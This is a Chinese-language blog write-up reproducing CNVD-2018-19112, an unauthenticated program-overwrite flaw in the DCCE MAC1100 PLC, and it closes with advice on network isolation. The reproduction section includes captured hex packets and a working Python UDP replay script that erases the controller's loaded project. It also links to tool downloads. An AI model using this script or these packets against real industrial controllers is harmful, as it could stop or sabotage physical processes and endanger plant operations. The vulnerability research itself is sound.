由PLC未授权访问引发的工程重置漏洞
前言
MAC1100 PLC可編程邏輯控制器(PLC)是大連計控(DCCE)可編程邏輯控制器(PLC)系列中的一款產品。
早在2018年6月,CNVD官網通報了DCCE MAC1100 PLC存在任意程序覆蓋漏洞 ,其編號為CNVD-2018-19112。DCCE MAC1100 PLC存在任意程序覆蓋漏洞,漏洞源于MAC1100 PLC可編程邏輯控制器向PLC下載程序時未驗證相關權限,攻擊者可通過遠程下載程序的數據包,利用漏洞覆蓋任意程序。
通過對DCCE PLC的學習,成功復現了此漏洞,筆者將其記錄下來以供大家學習與交流~
一、PLC編程與工程
PLC編程是一種數字運算操作的電子系統,專為在工業(yè)環(huán)境下應用而設計。它采用可編程序的存儲器,用來在其內部存儲執(zhí)行邏輯運算、順序控制、定時、計數和算術運算等操作的指令,并通過數字式、模擬式的輸入和輸出,控制各種類型的機械或生產過程。可編程序控制器及其有關設備,都應按易于使工業(yè)控制系統形成一個整體,易于擴充其功能的原則設計。
簡言之,對于PLC工程可以理解為:PLC在程序執(zhí)行階段按用戶程序指令存放的先后順序掃描執(zhí)行每條指令,經相應的運算和處理后,其結果再寫入輸出狀態(tài)寄存器中,輸出狀態(tài)寄存器中所有的內容隨著程序的執(zhí)行而改變。
編寫PLC工程所用語言大概有五種,分別是梯形圖語言、指令表語言、功能模塊圖語言、順序功能流程圖語言和結構文本化語言。
二、漏洞復現
2.1 環(huán)境需求
此次實驗筆者用到了Mac 1100PLC、PLC_Config編程軟件、PLC工程示例等。
2.2 復現過程
1、下載一個空程序并獲取其數據包
首先下載一個空的PLC工程到PLC,并將該下載過程進行Wireshark抓包,其目的是獲取PLC下載空工程的流量進行重放。
聲明:為了減少PC機與PLC之間數據包的交互,用戶可以在下載程序時根據需求進行網絡注釋、子程序指令注釋、帶符號變量的下載。
通過上述Wireshark抓取到的數據包,可以看到MAIN關鍵字,即一個PLC工程/空工程的入口函數,與C語言編程類似。
PLC工程下載流程 (1)將PLC控制器切換為STOP狀態(tài); (2)清空PLC原有工程; (3)寫入新下載的工程; (4)重啟PLC
CPU的狀態(tài)為RUN; (5)將編程軟件切換為監(jiān)視模式;
2、下載正常工作的PLC程序至PLC
為了復現此實驗,需要下載一段正常工作的PLC工程到PLC中,而Dcce Mac 1100的編程軟件PLC_Config支持S7-200工程的導入。因此,這里直接在CSDN下載了S7-200的工程示例(以剪板機控制工程為例),下載的s7-200工程為.mwp格式,此處需要用到“STEP-7MicroWIN V4.0 SP9完整版”軟件將.mwp導出為PLC_Config支持的.awl格式。
STEP-7MicroWIN V4.0 SP9完整版下載鏈接:https://pan.baidu.com/s/1eaeIxyT3Ak1gSxCwYCsaGg 密碼:w41o
直接將導入的s7-200工程下載至Dcce Mac 1100 PLC
3、實現DCCE MAC1100 PLC存在任意程序覆蓋
首先要對第一步過程中獲取的數據流量進行提煉與整理,我們將Wireshark獲取到的數據包的Data段進行Hex Stream的復制,得到以下數據流:
0d008248120023006b00f82a010000000000 0d008248120023006b00f82a010000000000 0d0066a312002400f82af82a020000000000 0d00658511002500f82a6b008100000000 0d00167a140026006b00fb2a0100000003000000 0d006b0914002700fb2a26270000000000005e00 00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00以上流量可以采用通訊貓調試助手工具進行單條重放,可以達到任意程序覆蓋的目的。
通訊貓調試助手工具下載 https://pan.baidu.com/s/1vAUXJZl-gpdEm8n5ga91gw 密碼:28ks
也可以編寫重置工程腳本,代碼如下:
#!/usr/bin/env python #encoding:utf-8 import socket,binascii,timesendsocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)ip = "192.168.1.181"port = 11000sendsocket.connect((ip,port))# sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500002c0e18000080110000c0a801c8c0a801b5ce3e2af8001884f70c00e64f1000080000009f0000000000')) # time.sleep(2) sendsocket.send(binascii.unhexlify('0d008248120023006b00f82a010000000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d0066a312002400f82af82a020000000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d00658511002500f82a6b008100000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d00167a140026006b00fb2a0100000003000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d006b0914002700fb2a26270000000000005e00')) time.sleep(2) sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00')) print "PLC工程已重置!"
運行腳本后再次上載PLC工程,發(fā)現第二步中下載的剪板機控制工程已重置為空,如圖:
三、總結
筆者在CNVD 工控漏洞專欄查詢了DCCE PLC的相關漏洞,總結出該產品絕大多數漏洞都是源于PLC的非授權訪問。根據工控安全的相關學習經驗來看不光是DCCE PLC存在此類問題,其他品牌的產品西門子、施耐德等也都存在類似漏洞,包括目前主流的工控協議也都存在類似漏洞。
因此,用戶在工控環(huán)境中使用PLC設備時,盡量做到網絡的物理隔離、邏輯隔離,不必要時禁止PLC設置直接暴露在互聯網中,以免對工業(yè)企業(yè)造成巨大攻擊與損失。
我這里整理了網安的學習資料,有需要的可以點擊下面
價值11980安全學習資料包
總結
以上是生活随笔為你收集整理的由PLC未授权访问引发的工程重置漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 适合新手入门的漏洞调试与分析—CVE-2
- 下一篇: 【僵尸复活】【已通过】https的app